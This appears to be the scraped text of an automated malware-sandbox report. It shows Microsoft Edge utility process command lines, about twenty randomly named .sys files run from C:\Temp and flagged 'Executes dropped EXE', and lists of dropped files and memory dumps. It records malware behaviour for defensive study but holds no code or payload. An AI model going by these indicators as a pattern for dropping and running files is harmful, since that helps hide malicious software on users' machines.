C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6376,i,6150721170745616698,10996283584049766855,524288 --field-trial-handle=2152,i,17987801118127405015,9745390354472809763,262144 --variations-seed-version --mojo-platform-channel-handle=6460 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6352,i,12682447896800975680,16866692606822082125,524288 --field-trial-handle=2152,i,17987801118127405015,9745390354472809763,262144 --variations-seed-version --mojo-platform-channel-handle=6336 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6456,i,11501646310471797456,9955527125616498462,524288 --field-trial-handle=2152,i,17987801118127405015,9745390354472809763,262144 --variations-seed-version --mojo-platform-channel-handle=6376 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5128,i,17231389098233279903,14486472068095527519,524288 --field-trial-handle=2152,i,17987801118127405015,9745390354472809763,262144 --variations-seed-version --mojo-platform-channel-handle=4492 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5104,i,16102865536604539415,6521327229458533650,524288 --field-trial-handle=2152,i,17987801118127405015,9745390354472809763,262144 --variations-seed-version --mojo-platform-channel-handle=4624 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3664,i,4639871434114280873,13771204255834772344,524288 --field-trial-handle=2152,i,17987801118127405015,9745390354472809763,262144 --variations-seed-version --mojo-platform-channel-handle=4352 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5456,i,6567947846154338082,14665409403814057796,524288 --field-trial-handle=2152,i,17987801118127405015,9745390354472809763,262144 --variations-seed-version --mojo-platform-channel-handle=4484 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5836,i,4921174326821342906,3665164899876938077,524288 --field-trial-handle=2152,i,17987801118127405015,9745390354472809763,262144 --variations-seed-version --mojo-platform-channel-handle=6880 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6948,i,14871995080080318596,7597276383683175300,524288 --field-trial-handle=2152,i,17987801118127405015,9745390354472809763,262144 --variations-seed-version --mojo-platform-channel-handle=6972 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6888,i,4543677115869848653,15915743614622290449,524288 --field-trial-handle=2152,i,17987801118127405015,9745390354472809763,262144 --variations-seed-version --mojo-platform-channel-handle=6948 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=5444,i,13935198508082473435,17300397778097002609,262144 --field-trial-handle=2152,i,17987801118127405015,9745390354472809763,262144 --variations-seed-version --mojo-platform-channel-handle=6924 /prefetch:104⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5676,i,1350871153341973320,7922519646569078495,524288 --field-trial-handle=2152,i,17987801118127405015,9745390354472809763,262144 --variations-seed-version --mojo-platform-channel-handle=3388 /prefetch:144⤵
-
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Temp\ztrljebwuomgeywr.sysC:\Temp\ztrljebwuomgeywr.sys1⤵
- Executes dropped EXE
-
C:\Temp\geywqojgby.sysC:\Temp\geywqojgby.sys1⤵
- Executes dropped EXE
-
C:\Temp\tnlfdyvqli.sysC:\Temp\tnlfdyvqli.sys1⤵
- Executes dropped EXE
-
C:\Temp\kidavsnlfd.sysC:\Temp\kidavsnlfd.sys1⤵
- Executes dropped EXE
-
C:\Temp\kfdxvpnhfa.sysC:\Temp\kfdxvpnhfa.sys1⤵
- Executes dropped EXE
-
C:\Temp\cxrpkhcaus.sysC:\Temp\cxrpkhcaus.sys1⤵
- Executes dropped EXE
-
C:\Temp\fzxrpjhczu.sysC:\Temp\fzxrpjhczu.sys1⤵
- Executes dropped EXE
-
C:\Temp\pjhbztrmje.sysC:\Temp\pjhbztrmje.sys1⤵
- Executes dropped EXE
-
C:\Temp\gezwrojhbz.sysC:\Temp\gezwrojhbz.sys1⤵
- Executes dropped EXE
-
C:\Temp\ljdbvtolge.sysC:\Temp\ljdbvtolge.sys1⤵
- Executes dropped EXE
-
C:\Temp\tqljdbvtnl.sysC:\Temp\tqljdbvtnl.sys1⤵
- Executes dropped EXE
-
C:\Temp\igaysqlidx.sysC:\Temp\igaysqlidx.sys1⤵
-
C:\Temp\xvpnlfdxvt.sysC:\Temp\xvpnlfdxvt.sys1⤵
-
C:\Temp\pkicausmkf.sysC:\Temp\pkicausmkf.sys1⤵
-
C:\Temp\ecxupnhecx.sysC:\Temp\ecxupnhecx.sys1⤵
-
C:\Temp\omhezxrpjh.sysC:\Temp\omhezxrpjh.sys1⤵
-
C:\Temp\mgezwuomhe.sysC:\Temp\mgezwuomhe.sys1⤵
-
C:\Temp\ywrojgbztr.sysC:\Temp\ywrojgbztr.sys1⤵
-
C:\Temp\bvtnlgdywq.sysC:\Temp\bvtnlgdywq.sys1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
dxvpnifays.exe
geywqojgby.sys
i_dxvpnifays.exe
i_igaytqlidb.exe
i_jdbwtoeytr.exe
i_vpnhfzxsmk.exe
i_ytrljdbvto.exe
igaytqlidb.exe
jdbwtoeytr.exe
kfdxvpnhfa.sys
kidavsnlfd.sys
tnlfdyvqli.sys
vpnhfzxsmk.exe
ytrljdbvto.exe
ztrljebwuomgeywr.exe
ztrljebwuomgeywr.sys
blocklist
protocols.json
settings.dat
settings.dat
BookmarkMergedSurfaceOrdering
the-real-index
the-real-index~RFe58b810.TMP
SiteList-Enterprise.json
Edge Profile.ico
HubApps
Network Persistent State
Network Persistent State
SCT Auditing Pending Reports
Preferences
Preferences
Secure Preferences
sync_diagnostic.log
CURRENT
MANIFEST-000001
9f69445d-f852-4a83-b02f-56b6c22876d8.tmp
office_endpoints_list.json
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State
nav_config.json
metadata.json
metadata.json
metadata.json
metadata.json
ed080d33-372f-4ae3-a696-5490723178b8.tmp
metadata.json
4a608356-9b21-4b9f-bcf2-b575efe3737c.tmp
56d0d4e4-1fe5-41d9-9668-0bed4ee86895.tmp
content_new.js
74d45d3b-2f40-47d2-b10f-05c6c201c90e.tmp
manifest.json
manifest.json
manifest.json
manifest.json
CreateProcess.exe
memory/664-614-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/704-754-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/836-649-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1100-533-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1400-618-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1404-661-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1404-819-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1620-706-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2484-784-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2612-610-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2612-581-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2692-529-0x000001837A140000-0x000001837A2DA000-memory.dmp
memory/3016-750-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3016-721-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3324-72-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3392-482-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3796-593-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3796-837-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4168-569-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4244-749-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4300-686-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4332-807-0x0000000000010000-0x00000000000AB000-memory.dmp